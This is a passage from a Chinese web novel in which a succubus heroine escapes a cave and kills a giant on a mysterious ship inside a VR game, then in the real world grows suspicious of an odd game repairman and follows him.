“谁叫他一个人都不带。不就是怀着……那种心思嘛。” “就是, 与其担心别人, 不如担心担心自己吧。” “……” 有个和事老一样的人说:“再等等吧,反正马上又要去找人了。到时候顺便找找锐哥。” 有的人面带不服, 有的人一脸惶恐, 但终于没什么人再说话了, 只是所有人都默默地往旁边坐了坐, 和其他人拉开了距离。 一开始说话的那个和事老站起来, 拿过应急灯源,说:“算了,我现在就去找人。” “等等!我跟你一起!”说话的人是一开始说锐文宇可能出去了的那个人, 他大概觉得有出去的可能, 不能让其他人独占, 便要求一起。 和事佬也没不同意, 略一点头:“那走吧。” 他们往山洞口走了几步,还没到那个地方, 忽然听到一阵脚步声。 锐文宇回来了?两人对视一眼,那个强行要跟着的研究员‘切’了一声,另一个人则松了口气—— 他这口气还没松到一半。 转角处, 一个身影忽然被人从山洞那头扔了出来。 再定睛一看,不是锐文宇是谁?他闭着眼,额头上有一道深深的伤口,血流了半张脸,整个人毫无声息的样子,被丢在山洞前。 “谁?!” “谁在哪里!” 所有人猛地从地上站起来,都紧张起来,几双眼睛死死地盯着山洞,一时间连空气都变得沉重,落针无声。 在所有人紧张的注视下,山洞的那头,忽然发出了叮咚的声音。一个银色的小圆片从山洞那头咕噜噜地滚进了山洞里。 走在所有人最前面的男人回头看了看其他人。站在他的位置,是比其他人要看得清楚的。 不等其他人反应过来,他就挤开身边的人,冲上去捡了那个东西—— 在应急灯光下,小圆片反射出亮晶晶的光,照亮了所有人的眼睛,那是一枚银币似的东西。 那人不等仔细查看,就把银币塞进了兜里,也不等其他人反应过来,就猛地往外跑。还是他身边的人反应过来,一把抓住他的手:“等等!那是什么!” 那人不说话,身后有人才醒悟道:“等等,我见过这个!这个……这个不就是船上,戎淼和小赵带着的那个东西吗!那不就是……” 他话还没说完,身前身后的人忽然一拥而上,争抢起来: “拿出来!” “这里怎么会有这个东西?是锐文宇身上的?!” “放手!这是我捡到的!我捡到的就是我的!” “放屁!我们都看得清清楚楚,这明明是山洞那边掉出来的!” “那你们去山洞那边找啊!说不定还有很多!” “骗谁呢!” 人群之中不知道谁喊了一句:“一个也没有用啊!戎淼那个是两个串在一起的吧!” “谁知道一个行不行!万一行呢!” “你笨啊!问问戎火不就知道了?” 人群寂静了几秒钟,随后所有人的目光一致落向了被捆在地上的戎火。但紧接着,一道银光闪过所有人的眼睛。 一枚小圆片,准确来说是一枚银币,以一个优美的弧线划过所有人的视线,落在了山洞的另一头。 像是一滴油落进沸水里,整个山洞顿时像是炸了锅似的沸腾起来,没一会儿所有人就都扭打在了一起。 混乱之中,没有人注意到的是,山洞的那头探出一个小小的脑袋。 之芙从山洞探出头,看了看山洞里的情况,估摸着那些人大约顾不上其他事了,给夕同简和严雾打了个手势。 “走。” 严雾在外面接应,夕同简和之芙穿过混乱的人群——几乎没有人注意到他们之中突然多出了两个人。 就这样一路顺利甚至堪称大摇大摆地走进山洞内,夕同简蹲下身割断了戎火身上的绳索,之芙推了推他:“戎火?” 戎火这才睁开了眼。他的眼神清明,只是带着一些不耐烦,待看清楚推自己的人是之芙之后,这点不耐烦也消散了。他很快注意到身边的混乱,在夕同简扯开绳子扶自己起身的时候低声问:“你们是怎么进来的?” “一时半会儿说不清楚。”之芙说,“你还好吗?咱们先离开这里!” 戎火站起来,之芙这才看清楚他身上的伤都在哪里——两处伤,一处是额头边的擦伤,看起来像是子弹划过的伤,一处却在大腿处,一个穿透的外衣的血洞大咧咧地横亘在上面,一看就知道是弹孔,一移动血就顺着血洞流了下来。 还没走出几步,戎火已经是满脸的冷汗。但他仍然咬着牙,一声不吭地任由夕同简扶着他走。 他们三个人的离开本该也不引起其他人的注意,可或许是三个人逆着人流离开实在是太不合常理,也可能是戎火走路的姿势太奇怪,人群中忽然有人喊了一声:“戎火!戎火跑了!” 终于有人反应了过来:“银币是他们扔过来的!调虎离山啊这是!” ——是他们扔过来的银币。 这句话一出,所有人都反应了过来:这是不是意味着,他们还有更多? 之芙倒吸了一口冷气,夕同简也反应过来,他二话不说扛起戎火就往外跑! “严雾!”这时候也谈不上躲起来了,之芙大喊,“快跑!” 严雾还没反应过来,就被之芙一把拉住了。 她回头,身后夕同简背着戎火,也在往外狂奔。 “快走,先去船那边!” 这里本来就靠近巨船的方向,没跑几步,四人跑到了船前,之芙二话不说就把严雾推上了之前留下的绳子:“快,先上去!先上去再说!” 身后的脚步声愈发逼近,之芙抽出严雾兜里的枪,拉开枪栓,对准了身后的山洞,同时示意身边的夕同简带着戎火爬上去。 紧要关头,也来不及推拒,夕同简相信之芙能对付后面的人。他刚拉住绳子,前面的严雾还没爬上船,身后的追兵已经到了。 “砰!” 第一个人还没走出拐角,之芙就开枪了。她对着山洞拐角处的石壁开了一枪,成功镇住了他们身后的人。 “呼……呼……” 海边呼啸的冷风吹起她的发丝,因为奔跑而呼出的空气一出口就成了白雾。 “别动。”她说,“我们没有你们想要的船票!” 几分钟后,有人在人群后面喊了一句:“骗谁呢!没有船票你们敢上船?” 人群骚动起来,之芙毫不犹疑,直接开枪!这一枪打中了最开始说话的那个人的脚。 那人尖叫起来,痛叫着倒在地上,而其余人一片寂静,大概谁都没有想到之芙用枪用得这么果断,又这么利索。 这和之芙给他们留下的,痴心又柔弱的女孩的印象完全不一样。 “我说了,我们没有银币。”之芙说,“但跟着我可以上船。如果有人想,可以上船,我不会拦着你。” 人群沉默了一会儿,一个人走出来,他走到之芙身边,之芙冷冷地道:“别想耍花样。” 那人本来准备走到之芙身后的绳索上,装作爬上船的样子偷袭之芙,但之芙的冷酷的眼神直接把他震在原地—— 她的眼神里,没有对于人类的同情和怜悯。 就好像是对于她来说,杀人跟杀一只鸡没有任何区别。 那人愣了一下,心里立刻打起了退堂鼓。他不敢上船,因为他怕死,更怕被摔到山崖下死掉。 但他只往后退了一步,下一秒,冰冷的枪口抵住了他的脑袋。 “上船,或者,去死。”之芙平静地说。“我这里不是你试探的地方。” 一个人活着回去了,难道让其他人挨个试探过来吗? 火药的硝烟味萦绕在她的身边,久久不散,脚下堆积的弹壳,身后止不住的痛呼,都昭示着她不是在开玩笑,她是真的会动手。 男人又犹豫了几秒钟,在看到之芙的手指扣向扳机的时候大叫起来:“别开枪!别开枪!我上船,我上船!” 大概是怕之芙真的开枪,他动作利索地顺着绳索爬上船。 “还有谁想上船?”之芙对着人群问。 几分钟后,之芙在山洞里见过的那个和事佬站了出来,他对着之芙点点头,随后顺着她身后的绳索也爬上了船。 之芙扫视过人群里剩下那群畏畏缩缩、不敢与她对视的人。 这时,船上的夕同简越过船舱:“之芙!” 之芙应了一声,顺着绳索,也跟着爬上了船。 她爬到绳索的最顶端,夕同简拉了她一把,她落进船舱里。 严雾也跟着接了她一把,这个女生此刻满脸的忧心忡忡,其中不乏恐惧——她大概也想起了之前被拎在了船边,摔下去摔死的那个研究员。 她嘴唇颤抖了一下:“芙芙……你觉得,戎淼说的,是真的吗?” 之芙顺着海风回头看去,巨船的下方,所有人都有志一同地仰头看着他们像是在等待什么审判似的。 忽然,之芙看到,他们突然都长大了嘴,一脸惊愕地看向之芙的身后。 就仿佛……那里站在一个什么怪物似的。 第82章 《大卸八块》 巨大的黑影 之芙跳上船后, 有些好奇地打量着船上陌生的景象。 她没有见过海,无论是魅魔学院还是居住的人类居所附近都没有海,因此她从未在游戏世界之外见过船只, 对于船只的印象只有刚进入游戏时,她和其他人乘坐的那艘科考船。 那艘科考船像是一座大型精密仪器, 上面全是现代化的设计和看不懂的奇怪仪器。 但这艘船——更像是她在画册上看过的那种, 原始时代的人们建造的小木船。 船是三角形的,大概因为太大,船的尾部是一片高高的台阶, 他们现在就站在台阶上, 如果站在底部,这里的船边对他们来说就像是十几层高的楼。 往后, 船的中央矗立着一个三角形的小房子, 大约只有四五平米的样子, 房子的通身也是用和船身一样的黑色的奇怪材质铸造的。 再往后, 就是放桨的地方。那里的船的底部深深凹陷下去——说凹陷似乎也不太准确。更准确地说, 是那里没有搭建可供人站立的平台,直接连接着船体,就像是普通的船只似的。周围搭着黑色的船桨, 几乎可以想象一个巨人站在那里, 用手摇动船桨的场景。 她的目光还没收回来, 旁边的严雾握住她的手, 嘴唇颤抖着,似乎也觉得自己很不该说这话, 却被恐惧逼得开口:“芙芙……你觉得,戎淼说的,是真的吗?” ——他们都没有带船票上船。 戎淼说是‘只要跟着天选之人上船就能去往彼岸’, 如果她说的只是人们谣传的传说,如果之芙不是那个天选之人—— 那他们的下场,他们已经亲眼见识过了。被丢进看不到尽头的深渊里,死无全尸。 之芙也不知道该怎么回答她,但她相信自己作为玩家的特殊性。她握住她的手,用力地点头:“相信我!” 严雾抿了抿唇,这才放松了一些。之芙看向身后,只见身后那群人也正莫名其妙地看向她的身后,嘴巴张到最大,露出了十分惊恐的表情,仿佛见到了什么难以解释又无比恐惧的东西,正站在她的身后。 之芙立刻回头看了一眼,只见身后仍是一片平静而荒芜的船,既没有发生什么船翻倒或启动的事情,也没有突然出现一个大怪物在她身后袭击她。 她有些奇怪,再定睛一看,黑色的小屋突然出现了一道门的缝隙,原来这并不是严丝合缝的装饰,而是一间屋子。 戎淼从屋里谨慎地探头出来,看了一眼屋外的人,看到是她熟悉的人,她才露出松了口气的表情。她背上背着小赵,走出房间,把小赵放在了所有人面前,她注意到了戎火的伤,蹲在戎火的身边,不放心地检查她的伤势。 “你们还在这里?船没有开走吗?”严雾惊讶地问。 “它一直停在这里,没有动。”戎淼一边快速解释着,一边微不可查地跟夕同简交换了一个眼神,“我也不知道是怎么回事,明明已经把船票收走了,可能是……在等那个人。” 夕同简略一点头,只是所有人都听着戎淼的话,没有人注意到他们之间的小交流。 “那个人,是之芙吗?”严雾充满希望地发问。 戎淼没有说是不是,她只是问道:“发生了什么?你们怎么会这么狼狈?为什么戎火会受伤?” “说来话长。”夕同简说,“但我们不得不赌一把了。你说过之芙可能就是那个‘祂等候的人’,跟着她一起,我们都可以上船。” 戎淼也点点头,她倒没有很惊讶的样子,只是看了看之芙身边的人,问夕同简:“就这点人?” “嗯。”夕同简低声道,“剩下的,如果有命活着回来,再来看能不能救他们吧。” 他已经做到自己能做的所有了。 “好吧,自己选的路怪不得别人。”确认戎火的伤暂时不会有大问题后,戎淼从戎火的身上取下匕首,插进自己的腰包里。 她说:“那我也跟你确认一下,我们也算是仁至义尽了,不算没有尽到做向导的义务吧,合约怎么说?” 夕同简有些无奈地笑了起来:“没问题。只是,按照我们陆地人的说法,在合约结束后问对方自己做得怎么样,意思是想要继续合作——你还想回来?” 戎淼吹了声口哨:“谁知道呢。” 夕同简说:“我大概是不会想了。” 严雾站在一旁,心有戚戚焉地疯狂点头表示赞同。 戎淼也笑起来,气氛难得放松,她忽然一个箭步走上来,取下来脖子上的项链,不由分说地戴在之芙的脖子上。 之芙被她突如其来的举动弄懵了:“嗯?” “给你的。”戎淼不容拒绝地把项链塞进她的衣服里,上面还带着她的体温,暖和的银制品紧贴着她的胸膛,也逐渐侵染了她的温度。 她拍拍之芙的胸口,确认她戴好了之后笑了笑,轻描淡写地道:“你和那些大陆人不一样,我还挺喜欢你的。你可别轻易死了,那我会很伤心的。” “什么呀!”之芙哭笑不得,一面想说戎淼就这么不相信自己的判断吗,一面想把衣服里的项链扯出来还给她。 戎淼却不由分说地按住她,顿了顿,她又眨眨眼:“怎么样,有没有被我舍生忘死的举动打动?“ 夕同简忽然意识到她想说什么:“咳咳!” 但戎淼完全无视他,对之芙又眨了眨眼,说:“所以你可以抛弃渣男,跟我在一起哦?不在一起也行,考虑一下我呗?” 之芙哭笑不得刚想说话,忽然,身后传来了一阵隆隆的声音,同时她感觉到脚下的地面一阵颤抖,似乎在缓缓移动? 不,不对!是船在动! 她下意识看向身后,远处的山洞正在缓缓地后退——而这一次,没有‘检票’流程。 严雾激动地大喊:“太好了!我们,我们活下来了!真的可以!芙芙,你真的是那个天选之人!” 之芙也想笑,忽然,她注意到,在船的头部,也就是架着船桨的地方,突然出现了一个黑色的影子。那影子像个身形模糊的巨人似的,身躯庞大得像是连接天地的桥梁。 巨人的手握住了船桨,摆动间巨船缓缓滑出悬崖,破开远处海面上笼罩的迷雾,驶向远方。 他们……真的离开那个山洞了。 然而,不等众人松一口气,异变突生! 夕同简一把抓过之芙手里的手枪,戎淼也拔出匕首,两人没有任何交流,却像是早就约定好的那样,一同冲向黑雾的方向! 第83章 《大卸八块》(完) “方老师他,他……… 在两道身影闪过去的瞬间, 周围人发出了一声惊呼! 跟船尾的巨大身影相比,他们的身影显得更加渺小,如同巨人脚下的蝼蚁, 却用着几乎看不清的速度猛地冲向巨人! 其他人还没反应过来,只听“砰!!!”地一声响彻云霄, 是夕同简开枪了。一枚空弹壳蹦到地上, 滚至众人面前。 “中了!”戎淼惊呼。 顺着她的惊呼望去,只见子弹射中的漆黑的巨人,巨人的身上飙射出一股黑色的血, 如同石油般粘稠, 即使在船尾也能闻到那奇怪的黑血里传来的味道——那不是血腥味,而是淡淡的咸腥, 如同海水一般。 巨人划桨的动作停了一拍。 巨船瞬间左右摇晃, 但这庞然大物仍旧按照大致方向, 驶入了海面上的迷雾。 “发、发生什么了?”严雾颤抖着声音问。 没有人回答她, 迷雾笼罩了船面, 四周都是一片白茫茫的雾气,能见度一瞬间变得很低。之芙只感觉黑暗中有一双手紧紧地握住她,那双手还在颤抖, 但力气不小, 想来是严雾的手。 枪声又响了, 但这一次没人能看清楚船尾发生了, 整搜船正在剧烈地颤抖,左右摇晃, 几乎站不稳。 他们唯一能看到的,只有那个巨人——它远远高于海面上迷雾笼罩的区域,像是冲天的大楼, 只要一抬眼就能看到它。 它丢下了船桨,正在往他们的方向走。这擎天巨人的每一步都使得整艘巨船疯狂地颤动,像是地震一样,他们连站立都变得困难。 但即使是这种情况,空气中仍然传来夕同简不断开枪的声音,戎淼的身影也隐没在迷雾里,他们看不到他,却能看到黑血在巨人的身上不断喷出,整个船的低位处盈满了那种奇异的清淡味道,黑血泼洒在空气中,也降低了迷雾的浓度,但向前方望去,前方仍旧是迷雾构成的幕布,看不清前路,也看不清他们将驶向何方。 之芙隐约想到了什么—— 为什么上了船之后,夕同简和戎淼同时发难? 原因其实很简单。 因为,这艘船会去向“没有痛苦和悲伤的永恒安宁之地”,而这个形容词绝不是用来形容人类居住的陆地的。 夕同简和戎淼一定通过气,只是他们瞒得很好,上船时戎淼问夕同简她的合约完成没有,这句没头没尾的话也有了解答。 这是她在跟夕同简承诺,她不会为了一己私欲让他们跟她一起去那个“安宁之地”她会把他们送回家。 “小心!” 回过神来,旁边伸出的一双手把她拉开,身侧的风像是刀子般割上脸颊,紧接着一只脚落在了她的身边,一声惨叫,一声令人牙酸的碾压声。 刚刚还站在她身边的男人瞬间变成了一摊肉泥。 严雾大喊:“芙芙,到我这里来!” 她拉着小赵的手,她的身边,和事佬拉着戎火的手臂也躲在一旁,四人的表情几乎一模一样,都在惊魂未定地喘着粗气。 严雾看着她,嘴唇开合,大概想问点什么,但话一出口,身边又是一道黑影盖下来,她的声音都扭曲变形了:“啊——” 五人又一次惊魂未定地躲开。 “它的行动变慢了!”和事佬喊道,“小心!” 它的行动变慢了,但这样的巨人只是小小的一步都会对他们造成无法挽回的伤害,四人左躲右闪,躲避着它的脚步,还有它时不时就伸出来想要抓住他们的手。 弥漫在船上的腥气变得更重,那些黑血似乎也变成了一阵阵的血雾,混合在空气中。随着雾气越来越浓,巨人的身形逐渐呆滞。 “夕同简!”戎淼大喊。 他们已经离他们很近了。之芙得以清晰地看到,戎淼弓起身,她动作灵活,身形像豹子一样,灵巧地跃到了巨人的手臂上。她朝着巨人的身后大喊着夕同简的名字—— 下一秒,稀薄的日光穿透迷雾,而夕同简的身影如鬼魅般出现在巨人的头顶。 他俯下身,嘴唇开合,对着巨人说了一句什么,只是距离太远,之芙没有听到。 “砰——”他对着巨人的脑袋开枪了。 巨人的身体骤然踉跄,站在巨人头顶的夕同简也一并被摔了下来,他单膝跪地落在船上,站起身时也踉跄了一下,手枪滚落在地上。 “成功了!”戎淼大喜过望,也从巨人的手臂上跃下,她转头看向巨人,但紧接着—— 巨人站了起来,它的手臂摇摇晃晃地伸向了众人。 变故只发生在一瞬间,众人脸上喜悦的表情还没来得及凝固退却,头顶漆黑的阴影就笼罩了下来,夕同简正站在巨人的下方,他本来能很轻松的躲过巨人的袭击,但不知为何,他的踉跄了一下,膝盖朝一面弯曲,难以支撑,眼看着就要被巨人捏在手心—— 一道黑影闪过,捡起了地上的手枪。 “砰!!!” 枪声响彻天地,仿佛连巨船都为止颤抖,漂浮在空中的迷雾也停顿了一瞬。 黑色的血当头溅了所有人一身一脸,众人目瞪口呆地看着站在前方的之芙。 她的脸上也溅上了黑色的血,只露出半边白皙如皎月一般的脸颊,黑血顺着她的刘海在脸颊上,如同救世主一样,天边的晨光刺破迷雾,落在她的脸上。 她对夕同简笑了笑,说:“你的膝盖——” “虽然只是个小木球,但是,能用就行,我说的是吧?” 夕同简微微一愣。 海面上的迷雾不知何时消散了,曦光彻底地照亮了她的脸,她的脸庞几乎像是在微微的发光,连脸颊上最细小的白色绒毛都显得干净而无比可爱, 头顶传来直升机盘旋的声音,自从他们失联后搜救行动就开始了,此刻他们终于等到了救援。 之芙下意识抬头看向头顶的直升机,然而下一秒,她的脸却被人温柔地捧着,看向他。 金灿灿的阳光下,他也显得有些狼狈,头发许久没有打理,英俊的脸庞却一如既往地含着温和的笑意,只是这一次,那笑容变得真诚起来。 “是啊。”他的声音从海风中传来,缱绻而温柔,“但是我该怎么感谢那个拯救了我的人呢。” “就算她给我用乱七八糟的方法造身体;就算她说莫名其妙的话让其他人把我当成渣男;就算她好像只爱我的钱和脸。” “但你还是爱她?”之芙问。 她不喜欢这个回答,她不喜欢带着贬低的爱。她皱眉看向夕同简。 “不。”夕同简摇了摇头,笑着说,“但我离不开她,也不想离开她了。” “只是我现在还不知道,在她心里,我是什么位置呢?” “在她的眼里,在这场属于未婚夫的角色扮演里,她是否满意?” “……哼哼。”之芙笑了一声,抬头看向天上的直升机。“勉强满意。” …… 直升飞机最后停在了巨船之上。庞大的巨人轰然倒地,从直升机上下来的几个人都看直了眼,一时间都没注意到他们。 “行了,有什么事回去再说。”戎淼道,用下巴点了点躺在一边的戎火和小赵,“还有伤员呢!赶紧的,送回船上去。” “对了对了!”严雾看着他们搬出担架,先把小赵和戎火搬上了直升飞机,“回科考船上之后多带点仪器过来,咱们把这个东西……还有这个,想办法拖回去研究。” ——死里逃生这么一遭,还惦记着研究呢。 夕同简按了按额头,看向他们:“叫救援船过来,在附近搜索一下,山洞那边还有人。” “好的,夕老师!” 人们抬人的抬人,安排医疗的在打电话,还有一部分人正被严雾领着看那个倒在地上的巨人的身体,此刻她挥斥方遒,兴奋地对着其他人指指点点,要把绳索从这里穿过来拖走,要安排什么直升机或者运输船来调走尸体,要把什么部分切下来送去什么研究室……好不兴奋的样子。 “严老师,这是你们击毙的吗?”那群‘没见过世面’的工作人员也兴奋地瞪大了眼睛。 “当然不是啦!”严雾高高兴兴地说,“这是芙芙杀死的!就是,师母!她超厉害对吧?” 她一边说着话,一边转过头来跟之芙打招呼。 之芙也笑着点点头。 面前的工作人员送来毯子,之芙裹进毯子里,跟着他们走向停在一边的另外一架直升飞机。 忽然,她想起了什么,回头看向站在自己身后的夕同简,有些好奇地问:“你刚刚对那个巨人说的话是什么?” 夕同简摸了摸自己的嘴唇:“你很想知道吗?” “嗯……”夕同简轻松的表情变得冷淡,模仿着刚刚的语调:“下辈子,别惦记别人的未婚妻。” “哈哈哈哈……”之芙大笑,她的表情都有点端不住了,“所以你放了狠话,但没补刀?” 夕同简又有点不好意思地摸了摸唇,表情有些尴尬:“嗯……” 之芙的笑还是止不住。她的笑声清脆,穿过人群,引得其他人也跟着看过来。夕同简的耳朵微微红了,弯腰握住她的手,威胁似地低声说:“不许告诉别人。” 之芙好不容易止住笑:“好好……夕老师要脸,我知道。” 夕同简这才露出稍微满意的表情,他矜持地点点头,只是还有些不好意思,看向之芙的身边,不跟她对视。 直升机的螺旋在身侧制造出的风卷起之芙的长发,她撩起发丝,在身侧工作人员的搀扶下一只脚跨上直升飞机的悬梯。 忽然她身侧的夕同简表情一滞。 “这是什么?”夕同简抓起之芙的手,她的手臂上,有一道浅浅的发红的掌印,看起来像是谁拽了她一把,因为太过用力而留下的痕迹似的。 之芙保持着那个半边身子挂在直升机外面的姿势:“哦,这个是严雾当时抓着我留下……的……” 之芙的话语没有说完—— 在她的手臂上,在那道红印上,忽然浮现出一只黑色的手掌,继而她的身侧,一个黑色的影子自空气中显现,就像是,就像是…… 就像是祂一直站在她的身边,握着她的手臂,而她丝毫没有察觉似的。 随即那黑影猛地往下一拉—— 之芙直接从直升飞机上掉了下去! 身下的巨船骤然变成了无底深渊,黑色的巨船从她坠落的地方逐渐虚化,变成了一个漆黑的洞,而这个洞还在不断往身旁蔓延—— “之芙!!!” 视线的最后,之芙看到的是夕同简的眼睛。他似乎还没反应过来发生了什么,又好像不愿意承认,那双眼睛里她的影子在不断坠落,坠落—— 身边的黑影将她拥在了怀里。 …… 【叮咚!已成功断开游戏连接。】 【恭喜玩家打出隐藏结局“永恒相伴”——】 “唔……呼……”之芙猛地从游戏仓里坐了起来。 发生了什么?耳边的游戏仓不断发出‘滋滋’的声音,像是坏掉了一样,甚至还在跳出火花。 之芙好不容易喘了口气,从游戏仓里踉跄地走了出来,她只感觉头晕眼花,和之前安全退出游戏时的感受完全不一样,她感觉自己头重脚轻,踩在地毯上时脚软得像是踩在云上。 “你还好吗?”身边忽然有个人扶住了她。“要不要喝点水?” 这是完全陌生的声音和陌生的人。之芙抬头,却正见一个开朗笑着的少年把她扶了起来。 “你是……” “啊,我是游戏公司的维修人员!”男人说着,朝她露出一个大大的笑容,“方寄南告诉我,你的游戏仓出了点问题,好感度系统需要维修,是这样吗?” “啊……对的。”之芙晃神了好一会儿,才想起来自己跟方寄南说过,这个游戏里的好感度系统有些奇怪,方寄南说会找人帮她维修。 “抱歉,我担心你说的好感度系统的损坏会影响你的游戏仓,造成你的受伤,所以冒昧进来了——你的哥哥和母亲都同意了我在一旁观看你的游戏内容,帮你控制风险。所以——”他有些不好意思地冲之芙眨眨眼,“别投诉我,好吗?” “好、好的……”事实上之芙还有点懵。 但男人就体贴多了。他倒了一杯水,递过来:“喝点吧,刚退出游戏有些头晕吗?待会儿我帮你检查一下游戏仓的问题。” 很奇怪的是……明明是第一次来到之芙的家里,他却表现出一种主人的气势,引导着之芙坐下、喝水。或者更准确地说,他开朗的皮相下,隐藏着一股下意识掌控全局的姿态。 他刚把水杯递给之芙,忽然他身上的手机响了起来。 他对着之芙抱歉地笑了笑,在之芙表示没事之后,才拿着手机走到走廊里。一边走,还一边说:“你先缓一缓,我接完这个电话来处理你的问题。” 之芙连连摆手。 男人微笑着走到房间外的走廊,四下无人,他按下接通按钮。 电话那头传来稍显慌乱的声音:“总长……总长!您现在在调查科吗?” “出什么事了?”男人轻描淡写地问。 “出大事了!方老师他,他……他恐怕,不太好了……” 第84章 间章 奇怪的维修工 房间里, 之芙喝了口水,打开了游戏仓上的显示屏。 显示屏上面的字还停留在刚刚见到的那一句话:【恭喜玩家打出隐藏结局“永恒相伴”——】 隐藏结局?之芙有些好奇地点击屏幕,想要观看更多后续, 但屏幕闪了几下,连续发出‘滋滋’的声音后, 屏幕一跳, 彻底黑屏了。 坏了?之芙莫名其妙,她把游戏仓强制重启了一遍,这一次屏幕显示如常, 开启后自动跳入了游戏选择页面。 之芙看了一眼, 系统那一栏显示下线状态,直播间也是黑屏的。 不过, 更奇怪的是…… 之芙从游戏选择页面往下翻, 发现之前显示的《大卸八块》这部游戏不见了。她耐心地翻过一页一页的游戏, 一直翻到最后一栏。 最后一栏的末尾, 熟悉的游戏静静地躺在那里。 游戏的封面是灰色的, 之芙点了一下,跳出一行字:该世界已经关闭。 嗯?关闭? 之芙又点了一下,字变了:您已打出隐藏结局, 该游戏已收录, 不可再次游玩。 还有这种设定?为什么打通隐藏结局之后就不能再玩了?之芙好奇她被那个黑影拖走之后, 会发生什么?其他人的反应是什么样子的?他们的结局又是什么样子的? 这个游戏似乎没有讲清楚, 结局戛然而止。 这样的结局也算隐藏结局吗? 还有,更之芙好奇的是, 这个游戏的普通结局是什么样子的? 她打出的结局跟其他结局有什么不同?按照结局来看,那个黑影早早就跟在她的身边,他们看不到它, 自然也没办法猜到它要做什么,在游戏里夕同简和戎淼可谓是机关算尽了,但他们依旧无法猜到它会在最后关头悄然行动。 如果被黑影带走是隐藏结局,那普通结局是不是就是平平安安地跟夕同简他们离开? 也就是说……那个黑影并不是哪个玩家都会跟的。 之芙正在思考着这些结局的区别,忽然,有人敲了门,从门外伸出一个脑袋:“我可以进来吗?” 是那个维修工。 他靠着门,探出一个圆圆的脑袋,像是小狗探头探脑地打量着屋里人似的。 之芙被自己的想象逗得笑了出来:“请进吧。” 男人又冲她笑了一下,这才跨过门栏走进来。他穿着简单的休闲装,看起来像个男大学生似的,从随身背着的包里拿出文件夹:“根据方老师的说法,他说你认为这个游戏的好感度系统有问题?” 之芙点点头,她熟悉报修流程:“游戏里的好感度系统很奇怪,明明有个红色的好感度条,但显示的数据是错误的。” “具体出现了什么错误可以跟我说一下吗?” “就是……”之芙在这次游戏里她没有开好感度条,她想了想说,“那个进度条好像是反了。有时候角色看起来很生气,但进度条却在涨;有时候角色没什么表情,但进度条却掉了。” “嗯……”男人一边做着记录,一边摸着下巴问,“有没有可能是你看错了呢?毕竟,我们的游戏角色都是用最新、最先进、最仿生的AI模拟出来的感情,是最贴近人类感情的。或许从他们的表情上很难看出来,但他们的内心都像是人类一样,有一套自己的行事逻辑和感情系统。” “或许他们只是表面生气,其实内心很喜欢呢?” “是这样吗?”之芙之前也怀疑过这个可能,但是,“但是在游戏的结尾,游戏角色跟我表白,邀请我去他家玩。说出这样的话,应该是喜欢的意思吧?可是当时,他的好感度条是空白的。” “……表白?”男人的脸上露出了惊讶的表情,好像她说的是什么难以理解的话一样,他表情变得认真起来,“能详细描述一下当时的情况吗?” 之芙大概地向他描述了一下当时的情况,男人点点头,认真地记下来。然后向之芙提出要看一下她的游戏仓。 之芙这才想起来刚刚游戏仓里出现的奇怪情况:“我的游戏仓是不是短路坏掉了?” 她刚从游戏里退出来的时候,游戏仓发出了像是短路的电视机一样的声音……很令人担忧啊。 男人操纵游戏仓打开面板,点开几个页面查看了一下:“没问题,这是正常的现象。” 正常……吗?之芙还没来得及质疑,男人的电话又忽然响了起来,声音一声比一声急促,打破了房间里安和静谧的氛围。 “抱歉。”他看了一眼,之芙摆摆手,他才又出去接了个电话。 这次他倒是很快就回来了,再次检查了面板之后表示他们很快就会检查这个bug,尽快修好它。 “在这之前可以先把这个好感度系统关闭。在游戏里通知系统就可以了。”男人在检查单上写下几个字,然后问之芙:“还有什么问题吗?” 之芙想起什么:“还有这个直播系统,似乎也有点问题。我在游戏里打开过,但里面没有我熟悉的观众,似乎都是新观众。” “这个方寄南也跟我说了,好像在直播间出了什么bug。”男人抱歉地对她笑笑,“你放心,我们会尽快检查出现了什么问题,尽快维修的。等到我们处理好了,我通知你结果好吗?” 男人在游戏仓里忙碌了一会儿,最后擦擦额头上的汗:“好了,基本检查完毕,没有需要维修的地方。如果你后续还有什么问题,可以联系我哦,这个是我的联系方式。” 他撕下一张纸,在上面留了一串号码,递给之芙,冲她笑得热情而阳光:“无论是什么问题,都可以找我!” 之芙不由得被他的表情感染,笑着接过纸,随手放在一旁。 检查完了,男人向之芙告辞。之芙送他到门口,忽然想起什么:“没有维修单吗?” “维修单?”男人顿了顿,眨了眨眼,似乎很疑惑那是什么东西。 “就是……”之芙想了想,即使是她这个外来的魅魔都知道维修单是什么东西,这不是常识吗?“一般上门维修都会留的一种类似收据的东西。你们不需要工作留痕吗?留个联系方式,留个检查清单什么的……” “哦哦,那种啊!”男人恍然大悟,笑着说,“没关系的,之芙小姐您是我们的专属内测客户,我只对接和负责你一个人哦。” “这样……”之芙若有所思。 她送男人到走廊上,忽然身后响起了开门的声音,司苍脚步匆匆地从房间里走了出来,看到走廊上的他们,他顿了顿:“这是?” “我送他。”之芙乖巧地冲这个便宜哥哥微笑,注意到司苍跟男人对视了一会儿。 “我送他吧。”司苍说,“刚好要出门。” 之芙点点头,男人也没有推拒,两人一前一后地结伴走向车库,司苍对着男人说了什么,男人点了点头。之芙站在他们身后,目送他们离去。 她注意到,司苍的脚步很急,似乎有些慌乱的样子,衣服也是朴素的居家服,不像是平日出门那样换上西装,严严实实地打好领带。 是出了什么急事吗? 可是,如果真有什么急事,还有功夫送一个维修工吗? 那个维修工也很奇怪。他的手上没有老茧,甚至不知道维修单是什么东西。 等他们的身影消失在视线里,之芙走向房间,从抽屉里翻出好久没有用过的车钥匙。 她独自一人,开着车,悄悄跟上了司苍和那个维修工。 第85章 间章 “你看,我怎么样?”…… 车一路未停, 驶向了一栋高耸入云的大楼。这栋大楼位于市中心,两侧都是写字楼,附近也有很多出门的游戏公司大楼, 看起来只是一栋普通的工作楼而已。 这里大概就是游戏公司了。说起来,之前那些跟她谈合作的工作人员, 都是网络上交流或者亲自到她家交流的, 她还没来过这个公司呢,原来就在本市吗? 目送着司苍的车开进大楼的停车场,之芙心里的疑惑更重了。 就算司苍没什么急事, 也不至于送人到地下车库这么体贴吧?他们认识吗? 等了好一会儿, 都没有看到司苍的车出来。之芙把车停在路边,随便找了一家路边的咖啡厅坐了进去, 点了一杯咖啡。 她托腮看向窗外, 想起司苍开车的模样, 她跟司苍不熟, 但她学开车的时候, 司妈妈有问过她需不需要请一个司机,之芙只是想体验人类开车是什么感觉,所以拒绝了司妈妈。 当时, 司妈妈有说过, 司苍跟她一样, 不喜欢别人开车。似乎是说……不喜欢让别人来掌控自己的方向盘。 她脑海中浮现出第一次见到司苍的场景。 